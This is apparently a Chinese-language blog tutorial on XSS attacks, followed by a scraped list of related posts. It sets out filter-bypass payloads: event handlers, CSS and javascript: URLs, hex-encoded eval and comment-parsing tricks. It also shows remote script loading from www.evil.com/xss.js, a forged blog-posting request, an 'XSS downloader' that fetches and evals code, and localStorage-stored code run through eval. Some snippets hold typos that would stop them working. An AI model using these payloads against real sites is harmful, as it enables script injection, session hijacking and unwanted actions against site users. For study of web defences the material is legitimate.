1. 基础准备知识

(1) php: <?php ?>部分由服务器解析后并连带html代码一并返回给浏览器,类似jsp的操作,一般开发中都使用smarty模板将前端后端分开。所以在XSS跨站中,可以使用get参数传值的方式进行XSS攻击

(2) EL表达式:对于EL表达式${name},EL表达式首先从page,session,request,

application。范围内检索信息,直到检索到name的信息后则会停止检索。

非持久形XSS:通过构造编码恶意URL发送给用户,当其点击的时候则会执行JS语句将客户信息发送到攻击者能捕获到的位置.

(3) <script defer="defer"> </script>这样的脚本只有在页面加载完毕会执行。正常脚本都是在页面加载前就已经执行了。

(4) getElementsByTagName()("head")[0].appendChild(s);获取某个标签的第几个元素追加一个元素。

(5) 使用document.wirte()的时候要注意不要在该<script>标签里使用defer属性。在页面加载完成后在使用document.write()会覆盖已经加载的页面。所以js代码在浏览器解析过程中单位是事先被加载的。

(6) 强大的eval函数,eval函数

持久型XSS:利用别的漏洞将文件或js代码上传到服务器。通常可以使用博客,留言等功能进行恶意代码的上传。当别人浏览该博客时就会执行恶意js代码。其不需要用户单击URL,常用于挂马,渗透,钓鱼。传播蠕虫之用。

XSS是针对客户端的攻击,也就是所有的cookie,post,http头,get都会产生XSS。

持久型XSS攻击中,当XSS代码没有被执行而是被直接显示在页面上的时候极有可能是代码被转义

2.绕过XSS过滤器

(1) 使用<>来注入js:最简单的注入使用<script>来进行注入

(2) 利用HTML标签来注入:利用很多html标签属性支持伪协议如javascript:[]的形式,如table的background属性,img的src属性,还有以下标签可以进行XSS注入,href,lowsrc,bgsound,backgound,value,action,dynsrc,有的浏览器不支持伪协议。

(3) 通过空格和回车:可以使用空格和回车进行XSS过滤器的绕过,针对完整名黑名单的比对,如直接检测输入中是否含有javascript等标记的过滤器。可以将javascript写成jav   ascript,JaVaScRiPt,等。与绕过sql注入过滤器的思路是一样。记住以分好来标记结束就行

(4) 编码转换:对javascript进行编码转换来绕过,javascipt:alert('xss');转换为javascriptt:alert(/XSS/);,将字母转为对应的ASCII(美国信息交换标准代码)形式。

(5) 产生自己的事件:在input中用事件,<input type="text" value=""   onclick="alert(/xss/)" />

W3C将事件分成三个不同类别:

用户接口(鼠标,键盘)

逻辑(处理的结果)

变化(对文档进行修改)

有如下事件可以加以利用来执行XSS代码:

onResume

onReverse

onRowDelete

onRowInserted

onSeek

onSynchRestored

onTimeError

onTrackChange

onURLFlip

onRepeat

onMediaComplete

onMediaError

onPause

onProgress

onOutOfSync

oncontrolselect

onlayoutcomplete

onafterprint

onbeforeprint

ondataavailable

ondatasetchanged

ondatasetcomplate

onerrorupdate

onrowenter

onrowexit

onrowsdelete

onrowsinserted

onselectionchange

onbounce

onfinish

onstop

onresizeend

(6)利用CSS跨站剖析

1.<div style="background-image:url(javascript:alert(/xss/))">

2.<style>

body {background-image:url("javascript:alert('xss')");}

</style>

3.<link herf="xxx.css">

xxx.css如下

body{

background-image:url("javascript:alert(/xss/)");

}

4.

p{

background-image:expression(alert('xss'));

}

使用CSS会因浏览器不同产生各种差异

(7)扰乱过滤规则:

1.<image/src="xx">  IE6能成功执行

2.expression中可使用全角字符

3.也可以用sql注入一样使用/**/代替空格

4.<button onclick="eval('\x61\x6C\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29');">点击就送</button>

eval()配合String.fromCharCode();可以执行10进制的脚本,

5. 浏览器解析HTML时,注释存在问题

<!--<img src="--><img src=x onerror=alert(1) //">

<comment><img src="</comment><img src=x onerror=alert(1) //">

6.使用纯文本逃避过滤

<system><img src="</style><img src=x onerror=alert(1) //">

拆分跨站法

很多时候输入长度有限制但没有严格过滤的时候可以使用剑心的拆分跨站法绕过输入限制,前提是输入至少能容纳<script>var x="d"</script>

<script>var x="document.write('<script>alert(1)</script>')"</script>

将上述依据拆分成x="o";

XSS中动态调用远程javaScript

1. 如交互点也是get请求的参数那么可以直接在URL中使用javascript,但是比较明显。没有掩藏攻击意图。

所以应该用编码或者远程加载的方式来加载javascript

2. 使用DOM插入

var s=document.createElement("script");

s.src="http://www.evil.com/xss.js";

document.getElementsByTagName("head")[0].appendChild(s);

grtElementsByTagName()函数查找返回文档中第一个元素,利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表最后一个。就是把<script>插到<head>后面

3. 使用location调用语句

eval()有计算字符串并执行js代码的作用,而location.hash.substr(1)就是计算出#后的字符串给予eval函数给执行。所以执行了alert(/xss/);

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

以下即是通过url执行XSS跨站的脚本事例

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>

# var url="/index.php?mod=blog&act=dopost";

var content="blog_content=By%3A%E5%AD%A4   ";

function _sd_Post(Url, Args){

var xmlhttp;

var error;

eval('try {xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){ xmlhttp=null;error=e;}');

if(null!=xmlhttp){ xmlHTTP.Open("POST",Url,false); xmlhttp.setRequestHeader("x-requested-with","XMLHttpRequest");

xmlhttp.setRequestHeader("Referer","http://www.my.com/api_proxy.html");

xmlhttp.setRequestHeader("Accept","application/json, text/javascript,*/*");

xmlhttp.setRequestHeader("Conteng-Type","application/x-www-form-urlencoded");

xmlhttp.setRequestHeader("Host","www.my.com");

xmlhttp.Send(Args);

strText=xmlhttp.responseText;}}_sd_Post(url,content);

}

XSS Downloader

此种方式可以在事先插入了XSS代码后,再通过XSSdownloader下载再执行。

function XSS(){

var xmlhttp;

if (window.XMLHttpRequest)

{// code for IE7+, Firefox, Chrome, Opera, Safari

xmlhttp=new XMLHttpRequest();}

else

{// code for IE6, IE5

xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}

xmlhttp.onreadystatechange=function()

{ if (xmlhttp.readyState==4 && xmlhttp.status==200)

{ var  b=xmlhttp.responseText;

//第一层过滤是为了拿到body

var c=b.substring(b.indexOf('<body>'),b.indexOf('</body>'));

//第二层过滤是为了拿到需要的XSS代码

eval(c.substring(c.indexOf('eval'),c.indexOf(';')));} }

xmlhttp.open("GET","csst.jsp",true);

xmlhttp.send();}

将XSS代码存储在cookie中:

localStorage.a="xss";

document.write(localStorage.a);

if(localStorage.count)

{localStorage.count=Number(localStorage.count)+1;

}

else

{localStorage.count=1;

}

document.write("访问次数"+localStorage.count+"time(s).");

存取到Flash cooike

function setShellCodz(code){

window.localStorage.setItem("shellcodz".codz)

}

取出Flash cookie

function getShellCodz(){

eval(window.localstorage.getItem("shellcodz"));

}

事例:

<body>

<script>

function setShellCodz(code) {

if(document.getElementById("xss").value!=null||document.getElementById("xss").value.length!=0)

codz=document.getElementById("xss").value;

window.localStorage.setItem("shellcodz",codz);

}

function getShellCodz() {

eval(window.localStorage.getItem("shellcodz"));

}

</script>

<input type="text" id="xss" />

<button onclick="setShellCodz()">set</button>

<button onclick="getShellCodz()">get</button>

</body>

初探XSS的更多相关文章

  1. Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)

    什么是 XSS Payload 上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 XSS Payload 以及从攻击者的角度来初探 XSS 攻 ...

  2. web攻击之一:XSS跨站脚本

    一.浏览器安全 同源策略 影响源的因素:host,子域名,端口,协议 a.com通过以下代码: <script scr=http://b.com/b.js> 加载了b.com上的b.js, ...

  3. Web安全系列(三):XSS 攻击进阶(挖掘漏洞)

    前言 在前些章节 (web安全系列(一):XSS 攻击基础及原理)以及(Web安全系列(二):XSS 攻击进阶(初探 XSS Payload))中,我详细介绍了 XSS 形成的原理以及 XSS 攻击的 ...

  4. OWASP top10

    PhishTank 是互联网上免费提供恶意网址黑名单的组织之一,它的黑名单由世界各地的志愿者提供,且更新频繁. 1.XSS 1.1. XSS简介 跨站脚本攻击,英文全称是Cross Site Scri ...

  5. XSS初探

    1 什么是XSS跨站脚本 跨站脚本是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户输入过滤不足而产生的.攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些 ...

  6. WEB 安全 - xss 初探

    零.参考资料 网络攻击-XSS攻击详解: 前端安全之XSS攻击: 一.概念 跨站脚本攻击Cross-site scripting (XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户 ...

  7. JVM初探 -JVM内存模型

    JVM初探 -JVM内存模型 标签 : JVM JVM是每个Java开发每天都会接触到的东西, 其相关知识也应该是每个人都要深入了解的. 但接触了很多人发现: 或了解片面或知识体系陈旧. 因此最近抽时 ...

  8. React 初探

    React 简单介绍 先说 React 与 React Native 他们是真的亲戚,可不像 Java 和 Javascript 一样. 其实第一次看到 React 的语法我是拒绝的,因为这么丑的写法 ...

  9. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

随机推荐

  1. python windows时间同步工具

    由于某种原因(BIOS电池没电),电脑的系统时间会与我们的北京时间不同步,将会导致如下问题: 1. 抢火车票的时候已经过时间了 2.别的同事都走了,你还以为没下班 …… 规避问题的方法:同步系统时间 ...

  2. jsf初学数据表(DataTable)的绑定

    来看看简单的datatable例子: faces: <h:form> <h:dataTable value="#{tableData.names}" var=&q ...

  3. 本人为巨杉数据库(开源NoSQL)写的C#驱动,支持Linq,全部开源,已提交github

    一.关于NoSQL的项目需求 这些年在做AgileEAS.NET SOA 中间件平台的推广.技术咨询服务过程之中,特别是针对我们最熟悉的医疗行业应用之中,针对大数据分析,大并发性能的需求,我们也在慢慢 ...

  4. winform快速开发平台 -> 快速绑定ComboBox数据控件

    通常我们在处理编辑窗体时.往往会遇到数据绑定.例如combobox控件绑定数据字典可能是我们经常用到的.然而在我的winform快速开发平台中我是如何处理这个频繁的操作呢? 首先,我们要绑定combo ...

  5. 基于.NET平台常用的框架整理

    自从学习.NET以来,优雅的编程风格,极度简单的可扩展性,足够强大开发工具,极小的学习曲线,让我对这个平台产生了浓厚的兴趣,在工作和学习中也积累了一些开源的组件,就目前想到的先整理于此,如果再想到,就 ...

  6. WebRTC音频预处理单元APM的整体编译及使用

    正文 行的gnu静态库链接路径是针对NDK版本 r8d 的,如读者版本不匹配,请自行找到 libgnustl_static.a 静态库的路径进行替换. 3)本示例并不打算编译 WebRTC 的测试工程 ...

  7. ip二进制计算,与运算算网段

    每8位二进制,各位从左到右对应的权值分别是 128,64,32,16, 8,4,2,1 .(即2的n-1次方,n是从右到左当前位的位数)  所以随便拿一个256以内的数给你化为二进制,都可以分解为权值 ...

  8. Java EE之搭建论坛系统(使用JForum)

    1.下载JForum开源压缩包: 网址:http://jforum.net/  (或者直接使用百度云中的压缩包) 解压,修改解压后文件下的\WEB-INF\config\database\mysql目 ...

  9. VIew-CoordinatorLayout 笔记

    CoordinatorLayout 协调者:一般会是两个控件,一个Dependency一个child ,CoordinatorLayout的主要功能就是协调这两个控件,使child跟随Dependen ...

  10. 解决Ubuntu安装openssh-server依赖问题

    sudo apt-get install openssh-server 提示:openssh-server : 依赖: openssh-client (= 1:6.6p1-2ubuntu1) 解决 u ...